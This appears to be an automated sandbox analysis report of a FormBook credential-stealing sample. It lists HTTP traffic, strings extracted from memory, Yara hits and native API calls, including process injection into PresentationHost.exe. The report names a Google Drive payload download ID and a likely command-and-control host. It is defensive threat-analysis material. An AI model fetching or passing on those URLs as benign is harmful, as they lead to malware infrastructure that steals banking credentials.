            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:24:47 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:24:49 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:24:52 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
            Source: mF8WNclxnv.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
            Source: mF8WNclxnv.exe, 00000008.00000001.1885572559.0000000000649000.00000020.00000001.01000000.0000000B.sdmpString found in binary or memory: http://www.ftp.ftp://ftp.gopher.
            Source: Kf2uv5NZsp.exe, 0000000B.00000002.3430583789.0000000007C24000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.hypereth.xyz
            Source: Kf2uv5NZsp.exe, 0000000B.00000002.3430583789.0000000007C24000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.hypereth.xyz/tnp4/
            Source: mF8WNclxnv.exe, 00000008.00000001.1885572559.00000000005F2000.00000020.00000001.01000000.0000000B.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
            Source: mF8WNclxnv.exe, 00000008.00000001.1885572559.00000000005F2000.00000020.00000001.01000000.0000000B.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org?q=
            Source: mF8WNclxnv.exe, 00000008.00000003.2005379037.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005456737.00000000039F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://apis.google.com
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: mF8WNclxnv.exe, 00000008.00000002.2286449185.0000000003988000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/5R
            Source: mF8WNclxnv.exe, 00000008.00000002.2286449185.0000000003988000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/eR
            Source: mF8WNclxnv.exe, 00000008.00000002.2286449185.0000000003988000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000002.2286418630.0000000003900000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1MFRNZtVchGfitb5ocqetD889UhLAl8oE
            Source: mF8WNclxnv.exe, 00000008.00000002.2286449185.0000000003988000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1MFRNZtVchGfitb5ocqetD889UhLAl8oE3U
            Source: mF8WNclxnv.exe, 00000008.00000002.2286449185.0000000003988000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1MFRNZtVchGfitb5ocqetD889UhLAl8oEP
            Source: mF8WNclxnv.exe, 00000008.00000002.2286449185.0000000003988000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1MFRNZtVchGfitb5ocqetD889UhLAl8oEa
            Source: mF8WNclxnv.exe, 00000008.00000002.2286449185.0000000003988000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1MFRNZtVchGfitb5ocqetD889UhLAl8oEq
            Source: mF8WNclxnv.exe, 00000008.00000002.2286449185.0000000003988000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1MFRNZtVchGfitb5ocqetD889UhLAl8oEsY
            Source: mF8WNclxnv.exe, 00000008.00000002.2286593700.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2179927946.00000000039EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/
            Source: mF8WNclxnv.exe, 00000008.00000002.2286593700.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2179927946.00000000039EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/;a
            Source: mF8WNclxnv.exe, 00000008.00000003.2180153393.00000000039DF000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005379037.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005456737.00000000039F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=1MFRNZtVchGfitb5ocqetD889UhLAl8oE&export=download
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/?q=
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtabv20
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gemini.google.com/app?q=
            Source: mF8WNclxnv.exe, 00000008.00000001.1885572559.0000000000649000.00000020.00000001.01000000.0000000B.sdmpString found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000337C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service:
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000337C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000337C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000337C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2LMEM
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000337C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000337C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000337C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000337C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.000000000337C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: mF8WNclxnv.exe, 00000008.00000003.2005379037.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005456737.00000000039F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ssl.gstatic.com
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/v20Y&
            Source: mF8WNclxnv.exe, 00000008.00000003.2005379037.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005456737.00000000039F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google-analytics.com;report-uri
            Source: mF8WNclxnv.exe, 00000008.00000003.2005379037.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005456737.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000002.3429221434.0000000005E58000.00000004.80000000.00040000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000002.3429221434.0000000005FEA000.00000004.80000000.00040000.00000000.sdmp, PresentationHost.exe, 0000000C.00000002.3426931701.000000000616A000.00000004.10000000.00040000.00000000.sdmp, PresentationHost.exe, 0000000C.00000002.3426931701.0000000005FD8000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp
            Source: mF8WNclxnv.exe, 00000008.00000002.2286522038.00000000039DF000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2180153393.00000000039DF000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005379037.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005456737.00000000039F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googletagmanager.com
            Source: mF8WNclxnv.exe, 00000008.00000002.2286522038.00000000039DF000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2180153393.00000000039DF000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005379037.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2005456737.00000000039F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49692
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49691
            Source: unknownNetwork traffic detected: HTTP traffic on port 49692 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49691 -> 443
            Source: unknownHTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.9:49691 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.9:49692 version: TLS 1.2
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_0040541C GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_0040541C

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 00000008.00000002.2314642445.0000000033860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3430583789.0000000007B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3424813910.0000000002F60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3426199689.0000000004CC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.2315053520.0000000035AD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeProcess Stats: CPU usage > 49%
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F35C0 NtCreateMutant,LdrInitializeThunk,8_2_339F35C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2DF0 NtQuerySystemInformation,LdrInitializeThunk,8_2_339F2DF0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F3090 NtSetValueKey,8_2_339F3090
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F3010 NtOpenDirectoryObject,8_2_339F3010
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F39B0 NtGetContextThread,8_2_339F39B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F3D10 NtOpenProcessToken,8_2_339F3D10
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F3D70 NtOpenThread,8_2_339F3D70
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F4340 NtSetContextThread,8_2_339F4340
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F4650 NtSuspendThread,8_2_339F4650
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2B80 NtQueryInformationFile,8_2_339F2B80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2BA0 NtEnumerateValueKey,8_2_339F2BA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2BF0 NtAllocateVirtualMemory,8_2_339F2BF0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2BE0 NtQueryValueKey,8_2_339F2BE0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2B60 NtClose,8_2_339F2B60
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2AB0 NtWaitForSingleObject,8_2_339F2AB0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2AD0 NtReadFile,8_2_339F2AD0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2AF0 NtWriteFile,8_2_339F2AF0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2F90 NtProtectVirtualMemory,8_2_339F2F90
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2FB0 NtResumeThread,8_2_339F2FB0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2FA0 NtQuerySection,8_2_339F2FA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2FE0 NtCreateFile,8_2_339F2FE0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2F30 NtCreateSection,8_2_339F2F30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2F60 NtCreateProcessEx,8_2_339F2F60
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2E80 NtReadVirtualMemory,8_2_339F2E80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2EA0 NtAdjustPrivilegesToken,8_2_339F2EA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2EE0 NtQueueApcThread,8_2_339F2EE0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2E30 NtWriteVirtualMemory,8_2_339F2E30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2DB0 NtEnumerateKey,8_2_339F2DB0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2DD0 NtDelayExecution,8_2_339F2DD0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2D10 NtMapViewOfSection,8_2_339F2D10
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2D00 NtSetInformationFile,8_2_339F2D00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2D30 NtUnmapViewOfSection,8_2_339F2D30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2CA0 NtQueryInformationToken,8_2_339F2CA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2CC0 NtQueryVirtualMemory,8_2_339F2CC0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2CF0 NtOpenProcess,8_2_339F2CF0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2C00 NtQueryInformationProcess,8_2_339F2C00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2C70 NtFreeVirtualMemory,8_2_339F2C70
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F2C60 NtCreateKey,8_2_339F2C60
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05314650 NtSuspendThread,LdrInitializeThunk,12_2_05314650
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05314340 NtSetContextThread,LdrInitializeThunk,12_2_05314340
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312D30 NtUnmapViewOfSection,LdrInitializeThunk,12_2_05312D30
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312D10 NtMapViewOfSection,LdrInitializeThunk,12_2_05312D10
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312DF0 NtQuerySystemInformation,LdrInitializeThunk,12_2_05312DF0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312DD0 NtDelayExecution,LdrInitializeThunk,12_2_05312DD0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312C70 NtFreeVirtualMemory,LdrInitializeThunk,12_2_05312C70
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312C60 NtCreateKey,LdrInitializeThunk,12_2_05312C60
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312CA0 NtQueryInformationToken,LdrInitializeThunk,12_2_05312CA0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312F30 NtCreateSection,LdrInitializeThunk,12_2_05312F30
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312FB0 NtResumeThread,LdrInitializeThunk,12_2_05312FB0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312FE0 NtCreateFile,LdrInitializeThunk,12_2_05312FE0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312E80 NtReadVirtualMemory,LdrInitializeThunk,12_2_05312E80
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312EE0 NtQueueApcThread,LdrInitializeThunk,12_2_05312EE0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312B60 NtClose,LdrInitializeThunk,12_2_05312B60
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312BA0 NtEnumerateValueKey,LdrInitializeThunk,12_2_05312BA0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312BF0 NtAllocateVirtualMemory,LdrInitializeThunk,12_2_05312BF0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312BE0 NtQueryValueKey,LdrInitializeThunk,12_2_05312BE0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312AF0 NtWriteFile,LdrInitializeThunk,12_2_05312AF0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312AD0 NtReadFile,LdrInitializeThunk,12_2_05312AD0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053135C0 NtCreateMutant,LdrInitializeThunk,12_2_053135C0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053139B0 NtGetContextThread,LdrInitializeThunk,12_2_053139B0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312D00 NtSetInformationFile,12_2_05312D00
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312DB0 NtEnumerateKey,12_2_05312DB0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312C00 NtQueryInformationProcess,12_2_05312C00
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312CF0 NtOpenProcess,12_2_05312CF0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312CC0 NtQueryVirtualMemory,12_2_05312CC0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312F60 NtCreateProcessEx,12_2_05312F60
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312FA0 NtQuerySection,12_2_05312FA0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312F90 NtProtectVirtualMemory,12_2_05312F90
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312E30 NtWriteVirtualMemory,12_2_05312E30
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312EA0 NtAdjustPrivilegesToken,12_2_05312EA0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312B80 NtQueryInformationFile,12_2_05312B80
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05312AB0 NtWaitForSingleObject,12_2_05312AB0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05313010 NtOpenDirectoryObject,12_2_05313010
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05313090 NtSetValueKey,12_2_05313090
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05313D10 NtOpenProcessToken,12_2_05313D10
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05313D70 NtOpenThread,12_2_05313D70
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F89790 NtCreateFile,12_2_02F89790
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F89A90 NtClose,12_2_02F89A90
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F89BF0 NtAllocateVirtualMemory,12_2_02F89BF0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F899F0 NtDeleteFile,12_2_02F899F0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F89900 NtReadFile,12_2_02F89900
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_004033B6 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004033B6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_004068460_2_00406846
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_00404C590_2_00404C59
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7132D8_2_33A7132D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AD34C8_2_339AD34C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C52A08_2_339C52A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB2C08_2_339DB2C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DD2F08_2_339DD2F0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CB1B08_2_339CB1B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A8B16B8_2_33A8B16B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF1728_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F516C8_2_339F516C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7F0E08_2_33A7F0E0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A770E98_2_33A770E9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C08_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6F0CC8_2_33A6F0CC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7F7B08_2_33A7F7B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B17EC8_2_339B17EC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A716CC8_2_33A716CC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A056308_2_33A05630
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5D5B08_2_33A5D5B0
